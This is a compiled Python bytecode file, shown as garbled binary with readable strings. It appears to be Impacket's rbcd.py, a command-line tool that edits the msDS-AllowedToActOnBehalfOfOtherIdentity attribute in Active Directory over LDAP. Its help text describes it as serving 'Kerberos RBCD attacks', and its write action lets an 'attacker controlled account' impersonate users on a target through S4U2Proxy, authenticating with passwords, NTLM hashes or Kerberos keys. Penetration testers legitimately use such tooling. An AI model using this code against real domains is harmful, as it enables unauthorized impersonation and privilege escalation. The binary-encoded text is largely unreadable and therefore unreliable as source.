o
    àý°j4;  ã                   @   sÆ   d dl Z d dlZd dlZd dlZd dlZd dlZd dlmZ d dlm	Z	 d dl
mZmZ d dlmZ d dlmZ d dlmZmZ dd	„ Zd
d„ ZG dd„ deƒZdd„ Zdd„ Zedkraeƒ  dS dS )é    N)Ú
format_sid)Úversion)ÚloggerÚutils)Ú	ldaptypes)Úescape_filter_chars)Úinit_ldap_sessionÚparse_identityc                  C   s|   t  ¡ } d| d< d| d< d| d< t  ¡ | d< | d  d¡ d	| d
< d	| d< t  ¡ }d|d< d|d< d|d< g |_|| d< | S )Nó   ÚRevisionó    ÚSbz1i€  ÚControlÚOwnerSidzS-1-5-32-544ó    ÚGroupSidÚSaclé   ÚAclRevisionr   ÚSbz2ÚDacl)r   ÚSR_SECURITY_DESCRIPTORÚLDAP_SIDÚfromCanonicalÚACLÚaces)ÚsdÚacl© r   ú„/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/rbcd.pyÚcreate_empty_sd%   s   r    c                 C   sb   t  ¡ }t jj|d< d|d< t  ¡ }t  ¡ |d< d|d d< t  ¡ |d< |d  | ¡ ||d< |S )NÚAceTyper   ÚAceFlagsÚMaskiÿ ÚSidÚAce)r   ÚACEÚACCESS_ALLOWED_ACEÚACE_TYPEÚACCESS_MASKr   r   )ÚsidÚnaceÚacedatar   r   r   Úcreate_allow_ace9   s   r-   c                       sX   e Zd ZdZ‡ fdd„Zdd„ Zdd„ Zdd	„ Zd
d„ Zdd„ Z	dd„ Z
dd„ Z‡  ZS )ÚRBCDzdocstring for setrbcdc                    sb   t t| ƒ ¡  || _|| _d | _|| _d | _d | _t	 
d¡ t ¡ }d |_t | j| j|¡| _d S )NzInitializing domainDumper())Úsuperr.   Ú__init__Úldap_serverÚldap_sessionÚdelegate_fromÚdelegate_toÚSID_delegate_fromÚDN_delegate_toÚloggingÚdebugÚldapdomaindumpÚdomainDumpConfigÚbasepathÚdomainDumperÚdomain_dumper)Úselfr1   r2   r4   Úcnf©Ú	__class__r   r   r0   I   s   
zRBCD.__init__c                 C   s4   |   | j¡}|st d¡ d S |d | _|  ¡  d S )NúTAccount to modify does not exist! (forgot "$" for a computer account? wrong domain?)r   )Úget_user_infor4   r7   Úerrorr6   Úget_allowed_to_act)r>   Úresultr   r   r   ÚreadV   s   

z	RBCD.readc                 C   sp  || _ |  | j ¡}|st d¡ d S t|d ƒ| _|  | j¡}|s(t d¡ d S |d | _|  ¡ \}}| jdd„ |d j	D ƒvr¤|d j	 
t| jƒ¡ | j |d d	tj| ¡ ggi¡ | jjd
 dkrst d¡ t d| j | j¡ n?| jjd
 dkr†t d| jjd ¡ n,| jjd
 dkr™t d| jjd ¡ nt d| jjd ¡ nt d| j | j¡ t d¡ |  ¡  d S )NúVAccount to escalate does not exist! (forgot "$" for a computer account? wrong domain?)é   rB   r   c                 S   s   g | ]
}|d  d   ¡ ‘qS ©r%   r$   )ÚformatCanonical©Ú.0Úacer   r   r   Ú
<listcomp>x   s    zRBCD.write.<locals>.<listcomp>r   Údnú(msDS-AllowedToActOnBehalfOfOtherIdentityrF   ú(Delegation rights modified successfully!z0%s can now impersonate users on %s via S4U2Proxyé2   úCCould not modify object, the server reports insufficient rights: %sÚmessageé   úGCould not modify object, the server reports a constrained violation: %sú The server returned an error: %sz4%s can already impersonate users on %s via S4U2Proxyz$Not modifying the delegation rights.)r3   rC   r7   rD   Ústrr5   r4   r6   rE   r   Úappendr-   r2   ÚmodifyÚldap3ÚMODIFY_REPLACEÚgetDatarF   Úinfo©r>   r3   rF   r   Ú
targetuserr   r   r   Úwritec   sF   


ÿÿ

ÿ
ÿ
z
RBCD.writec                    s.  |ˆ _ ˆ  ˆ j ¡}|st d¡ d S t|d ƒˆ _ˆ  ˆ j¡}|s(t d¡ d S |d ˆ _ˆ  ¡ \}}‡ fdd„|d j	D ƒ|d _	ˆ j
 |d d	tj| ¡ ggi¡ ˆ j
jd
 dkrat d¡ n0ˆ j
jd
 dkrtt dˆ j
jd ¡ nˆ j
jd
 dkr‡t dˆ j
jd ¡ n
t dˆ j
jd ¡ ˆ  ¡  d S )NrH   rI   rB   r   c                    s&   g | ]}ˆ j |d  d  ¡ kr|‘qS rJ   )r5   rK   rL   ©r>   r   r   rO   ¥   s   & zRBCD.remove.<locals>.<listcomp>r   rP   rQ   rF   rR   rS   rT   rU   rV   rW   rX   )r3   rC   r7   rD   rY   r5   r4   r6   rE   r   r2   r[   r\   r]   r^   rF   r_   r`   r   rc   r   Úremove�   s:   


ÿ
ÿ
ÿzRBCD.removec                 C   sØ   |   | j¡}|st d¡ d S |d | _|  ¡ \}}| j |d dtj	g gi¡ | jj
d dkr6t d¡ n0| jj
d dkrIt d| jj
d	 ¡ n| jj
d d
kr\t d| jj
d	 ¡ n
t d| jj
d	 ¡ |  ¡  d S )NrB   r   rP   rQ   rF   z'Delegation rights flushed successfully!rS   rT   rU   rV   rW   rX   )rC   r4   r7   rD   r6   rE   r2   r[   r\   r]   rF   r_   )r>   rF   r   ra   r   r   r   Úflush¸   s(   


ÿ
ÿz
RBCD.flushc                 C   s$  | j j| jdtjg d¢d� d }| j jD ]}|d dkrq|}q|s)t d¡ d S zTtj	|d d d	 d
�}t
|d jƒd	krot d¡ |d jD ]$}|d d  ¡ }|  |d d  ¡ ¡}|rm|d }t d||f ¡ qIn
t d¡ W ||fS W ||fS  ty‘   t d¡ tƒ }Y ||fS w )Nz(objectClass=*))ÚSAMAccountNameÚ	objectSidrQ   )Úsearch_scopeÚ
attributesÚtypeÚsearchResEntryz&Could not query target user propertiesÚraw_attributesrQ   r   )Údatar   z4Accounts allowed to act on behalf of other identity:r%   r$   rI   z    %-10s   (%s)z;Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty)r2   Úsearchr6   r\   ÚBASEÚresponser7   rD   r   r   Úlenr   r_   rK   Úget_sid_infoÚ
IndexErrorr    )r>   ra   Úentryr   rN   ÚSIDÚSidInfosÚSamAccountNamer   r   r   rE   Ó   sD   ÿ
ÿ
€ûôü
üzRBCD.get_allowed_to_actc                 C   sv   | j j| jjdt|ƒ dgd� z| j jd j}t| j jd d jd ƒ}||fW S  t	y:   t
 d| ¡ Y dS w )Nz(sAMAccountName=%s)rg   ©ri   r   zUser not found in LDAP: %sF)r2   rn   r=   Úrootr   ÚentriesÚentry_dnr   Ú
raw_valuesrs   r7   rD   )r>   ÚsamnamerP   r*   r   r   r   rC   ó   s    
þzRBCD.get_user_infoc                 C   sl   | j j| jjdt|ƒ dgd� z| j jd j}| j jd d }||fW S  ty5   t 	d| ¡ Y dS w )Nz(objectSid=%s)Úsamaccountnamerx   r   zSID not found in LDAP: %sF)
r2   rn   r=   ry   r   rz   r{   rs   r7   rD   )r>   r*   rP   r}   r   r   r   rr   ý   s    
þzRBCD.get_sid_info)Ú__name__Ú
__module__Ú__qualname__Ú__doc__r0   rG   rb   rd   re   rE   rC   rr   Ú__classcell__r   r   r@   r   r.   F   s    -( 
r.   c                  C   s.  t jddd�} | jdddd� | jdtdd	d
� | jdtddd
� | jdg d¢dddd� | jdddd� | jdddd� | jdddd� |  d¡}|jddddd� |jd dd!d� |jd"dd#d� |jd$dd%d&d� |  d'¡}|jd(dd)d*d� |jd+dd,d-d� ttjƒd.kr“|  ¡  t 	d.¡ |  
¡ S )/NTzbPython (re)setter for property msDS-AllowedToActOnBehalfOfOtherIdentity for Kerberos RBCD attacks.)Úadd_helpÚdescriptionÚidentityÚstorez domain.local/username[:password])ÚactionÚhelpz-delegate-toz1Target account the DACL is to be read/edited/etc.)rj   Úrequiredr‰   z-delegate-fromFzkAttacker controlled account to write on the rbcd property of -delegate-to (only when using `-action write`)z-action)rG   rb   rd   re   ú?rG   z=Action to operate on msDS-AllowedToActOnBehalfOfOtherIdentity)ÚchoicesÚnargsÚdefaultr‰   z
-use-ldapsÚ
store_truezUse LDAPS instead of LDAPz-tsz&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONÚauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASH)rˆ   Úmetavarr‰   z-no-passz&don't ask for password (useful for -k)z-kzÁUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)Ú
connectionz-dc-ipz
ip addressz¤IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameterz-dc-hostÚhostnamezpHostname of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted, -dc-ip will be usedrI   )ÚargparseÚArgumentParserÚadd_argumentrY   Úadd_argument_grouprq   ÚsysÚargvÚ
print_helpÚexitÚ
parse_args)ÚparserÚgroupr   r   r   rœ     s@   ÿ
ÿ
ÿÿ
ÿ

ÿ
rœ   c            
      C   sb  t tjƒ tƒ } t | j| j¡ | jdkr$| j	d u r$t
 d¡ t d¡ t| j| j| j| j| jƒ\}}}}}| _zRt|||||| j| j| j| j| jƒ
\}}t||| jƒ}| jdkr`| ¡  W d S | jdkrn| | j	¡ W d S | jdkr|| | j	¡ W d S | jdkrˆ| ¡  W d S W d S  ty° }	 zt
 ¡ j t
j!kržt" #¡  t
 $t%|	ƒ¡ W Y d }	~	d S d }	~	ww )Nrb   zA`-delegate-from` should be specified when using `-action write` !rI   rG   rd   re   )&Úprintr   ÚBANNERrœ   r   ÚinitÚtsr8   rˆ   r3   r7   Úcriticalr˜   r›   r	   r†   ÚhashesÚno_passÚaesKeyÚkr   Údc_ipÚdc_hostÚ	use_ldapsr.   r4   rG   rb   rd   re   Ú	ExceptionÚ	getLoggerÚlevelÚDEBUGÚ	tracebackÚ	print_excrD   rY   )
ÚargsÚdomainÚusernameÚpasswordÚlmhashÚnthashr1   r2   ÚrbcdÚer   r   r   Úmain1  s2   


((



ÿ€ýr¹   Ú__main__)r”   r7   r˜   r¯   r\   r9   Ú$ldap3.protocol.formatters.formattersr   Úimpacketr   Úimpacket.examplesr   r   Úimpacket.ldapr   Úldap3.utils.convr   Úimpacket.examples.utilsr   r	   r    r-   Úobjectr.   rœ   r¹   r   r   r   r   r   Ú<module>   s*    B*
ÿ